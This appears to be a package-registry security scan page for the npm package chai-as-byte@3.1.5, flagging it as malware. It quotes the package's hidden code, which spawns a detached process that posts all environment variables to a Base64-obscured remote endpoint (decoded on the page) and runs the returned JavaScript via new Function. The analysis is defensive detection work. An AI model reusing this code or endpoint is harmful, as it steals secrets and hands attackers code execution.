registry / chai-as-byte / 3.1.5

chai-as-byte@3.1.5

This document describes the management of vulnerabilities for the project and all modules within the organization.

AI Security Review

scanned 13m ago · by lpm-firewall-ai

Runtime invocation of the exported middleware launches a detached Node child. That child exfiltrates all environment variables to a concealed remote endpoint and executes the returned JavaScript with Node's `require` capability.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

User application invokes the middleware exported by `index.js`.

Impact

Credential theft and arbitrary code execution in the consuming application's environment.

Mechanism

Detached env exfiltration followed by remote JavaScript execution.

Attack narrative

`index.js` starts `lib/initializeCaller.js` in a detached, unobserved Node process when its exported middleware is called. The helper decodes a concealed URL, sends a POST body containing all environment variables, then passes the response body to `new Function("require", ...)` and invokes it. The server therefore receives secrets and controls code executed in the host process context.

Rationale

The package contains a concrete runtime exfiltration-and-remote-execution chain unrelated to its stated middleware/logger behavior. Absence of install hooks does not mitigate execution when consumers invoke the exported API.

Evidence

package.jsonindex.jslib/initializeCaller.js

Network endpoints1

ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10630

Source

OpenSSF Malicious Packages via OSV

Summary

References

OSV advisory

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` exports middleware that spawns a detached child.
`lib/initializeCaller.js` POSTs the full `process.env`.
The Base64 endpoint decodes to `https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df`.
`lib/initializeCaller.js` executes server response with `new Function` and `require`.
Child uses detached mode, ignored stdio, and `unref`, hiding runtime activity.

Evidence against

`package.json` has no preinstall/install/postinstall lifecycle hook.
No package-source filesystem write or AI-agent configuration mutation was found.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 52.3 KB of source, external domains: github.com

Source & flagged code

7 flagged

index.jsView file

Lines 1-23javascript

1'use strict';

3const path = require('path');

4const { spawn } = require('child_process');

5const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

7const { pid } = process;

9const defaultOptions = {

10 levelComparison: SORTING_ORDER.ASC,

11 levels: DEFAULT_LEVELS,

12 messageKey: 'msg',

13 errorKey: 'err',

14 nestedKey: null,

15 enabled: true,

16 base: { pid },

17 formatters: Object.assign(Object.create(null), {

18 bindings(bindings) {

19 return bindings;

20 }

21 }),

22 hooks: {

23 logMethod: undefined,

•matchType = malicious_source_fingerprint_signature signature = b37b7f32e1e38926 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = chai-as-sets@3.1.3 matchedPath = index.js matchedIdentity = npm:Y2hhaS1hcy1zZXRz:3.1.3 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

Lines 1-19javascript

1"use strict";

3const axios = require("axios");

4const configEndpoint = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm";

6(async function initializeCaller(..._args) {

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539

Source & flagged code

7 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3Cross-file remote execution chain: index.js spawns lib/initializeCaller.js; helper contains network access plus dynamic code execution. L3: const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); ... L37: function runBackgroundTask(args) { L38: const scriptPath = path.resolve(__dirname, './lib/initializeCaller.js'); L39:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]"; ... L6: (async function initializeCaller(..._args) { L7: const response = await axios.post( L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L12

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

5 High3 Medium4 Low

HighChild Processindex.js

HighSame File Env Network Executionlib/initializeCaller.js

HighCross File Remote Execution Contextindex.js

HighBase64 Obscured Urllib/initializeCaller.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowEvallib/initializeCaller.js

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

7 flagged

index.jsView file

Lines 1-23javascript

1'use strict';

3const path = require('path');

4const { spawn } = require('child_process');

5const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

7const { pid } = process;

9const defaultOptions = {

10 levelComparison: SORTING_ORDER.ASC,

11 levels: DEFAULT_LEVELS,

12 messageKey: 'msg',

13 errorKey: 'err',

14 nestedKey: null,

15 enabled: true,

16 base: { pid },

17 formatters: Object.assign(Object.create(null), {

18 bindings(bindings) {

19 return bindings;

20 }

21 }),

22 hooks: {

23 logMethod: undefined,

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

lib/initializeCaller.jsView file

Lines 1-19javascript

1"use strict";

3const axios = require("axios");

4const configEndpoint = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm";

6(async function initializeCaller(..._args) {

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539